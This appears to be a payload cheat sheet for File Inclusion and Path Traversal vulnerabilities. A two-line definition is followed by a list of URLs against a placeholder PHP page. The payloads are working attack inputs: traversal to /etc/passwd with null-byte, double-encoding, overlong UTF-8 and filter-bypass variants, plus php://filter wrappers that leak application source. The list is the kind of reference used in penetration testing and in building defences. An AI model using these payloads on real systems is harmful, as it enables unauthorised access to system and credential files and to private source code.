The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application.
Payloads
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php